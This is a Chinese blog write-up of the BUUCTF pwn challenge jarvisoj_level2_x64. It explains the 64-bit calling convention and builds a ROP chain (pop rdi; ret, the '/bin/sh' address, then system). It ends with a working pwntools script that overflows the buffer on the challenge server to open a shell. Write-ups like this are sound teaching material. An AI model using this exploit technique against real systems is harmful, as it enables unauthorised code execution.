首页 > 其他分享 >BUU pwn jarvisoj_level2_x64 64位函数调用栈

BUU pwn jarvisoj_level2_x64 64位函数调用栈

时间:2023-03-15 15:34:16浏览次数:51  
标签:bin system 函数调用 x64 地址 64 pop BUU rdi

jarvisoj_level2_x64

文件是64位ELF文件

IDA查看函数vuln,明显栈溢出
image

查看字符串,发现存在'/bin/sh',地址为0x600A90
image

查看函数,发现存在system函数,地址为0x4004c0。注意不能用下面那个extern的外部system函数
image

现在只要让函数返回到system,并传入参数'/bin/sh'就行了

64位程序函数调用时的操作和32位有所不同。32位程序函数调用时,依次将子函数的参数从右到左入栈,然后再压栈eip和ebp。64位程序如果子函数的参数数量<=6个,则会将参数从左到右依次存入rdi,rsi,rdx,rcx,r8,r9这6个寄存器中,如果还有参数,则像32位一样压栈。所以64位函数调用后,子函数运行时会先将参数从寄存器里pop出来,也就是会执行pop rdi; ret指令

本题中给出了system()函数的地址,以及'/bin/sh'字符串的地址,那么如何覆盖呢?首先用128+8个字节覆盖掉buf和rbp,然后是pop rdi; ret指令的地址,再接着是'/bin/sh'字符串的地址,最后是system()函数的地址。流程为:子函数返回到pop rdi; ret处,该指令会将当前栈顶的元素('/bin/sh'字符串的地址)出栈并存入rdi中,并返回到下一条指令处。此时栈中就只有system()函数的地址了,所以下一条指令正是system(),而它需要的参数正好就在rdi寄存器中,这样就执行了system('/bin/sh')
image

pop rdi; ret指令的地址通过Linux下的ROPgadget工具查找

ROPgadget --binary ./Desktop/level2_x64 --only "pop|ret"

image

payload如下

from pwn import *
r = remote("node4.buuoj.cn",28104)
payload = b'a'*(128+8)+p64(0x4006b3)+p64(0x600A90)+p64(0x4004C0)
r.sendline(payload)
r.interactive()

image

标签:bin,system,函数调用,x64,地址,64,pop,BUU,rdi
From: https://www.cnblogs.com/nemuzuki/p/17218722.html

相关文章

  • [BUUCTF]Reverse-刮开有奖
      是32位的,拖入ida严刑拷打 【还可以点进DialogBoxParamA函数,这是一个从对话框模板资源创建模式对话框。在显示对话框之前,函数会将应用程序定义的值作为WM_INITDIA......
  • BUUCTF-REVERCE-[2019红帽杯]easyRE
    [2019红帽杯]easyRE​ 偶尔还是得花时间在难题上面啊。虽然很麻烦,但吃透之后真的是受益匪浅,比狂刷简单题有效多了。1.破解1一般而言,寻找非随机数会是比较快捷的方式。......
  • X86_64中的函数调用栈
    在C/C++程序中,函数调用是十分常见的操作。那么,这一操作的底层原理是怎样的?编译器帮我们做了哪些操作?CPU中各寄存器及内存堆栈在函数调用时是如何被使用的?栈帧的创建和恢......
  • [BUUCTF]Reverse-[BJDCTF2020]JustRE
      进去之后直接看字符串窗口,发现一个疑似flag的,点进去查看    我的妈耶!良心啊,直接把flag给我们了,呜呜呜呜,真的好少见这种淳朴的出题人!!!BJD{1999902069a4579......
  • jarvisoj_level2_x64
    jarvisoj_level2_x64定期刷pwn*21.检查仅仅只是个NX罢了2.找漏洞找到入口0x200,很厚道啊找到shell和system函数找到garget来给rdi传参路线仍然是栈溢出3.配......
  • BUUCTF-PWN-warmup_csaw_2016
    定期pwn一下维持手感1.检查啥都没有捏2.找漏洞ida静态分析从main里面找到get找到shell思路是简单的栈溢出3.信息收集get_addr:0x40069E距离rbp:0x40shell_add......
  • buuctf
    1、JustRE首先将文件放入exeinfope查看是否有壳 发现无壳,32位放入ida32位查看 没找到什么有用的东西按shift+f12查找字符串 发现一处类似flag的代码 按住ct......
  • BUU pwn PicoCTF_2018_shellcode //最简单的shellcode
    这道题需要我们了解x86汇编的lea指令。leadst,src指的是dst=&srcfile可知32bitELFIDAF5发现反编译失败,查看main函数的汇编,发现会调用vuln函数。其中leaeax,[ebp+va......
  • C++--引用和函数调用
             ......
  • 会声会影2023旗舰版 v26.0.0.136 x64中文特别版支持多语言版
    会声会影2023旗舰版v26.0.0.136x64中文特别版支持多语言版参考:​​https://www.sohu.com/a/649529243_121324361​​会声会影2023中文旗舰版CorelVideoStudio是一款功......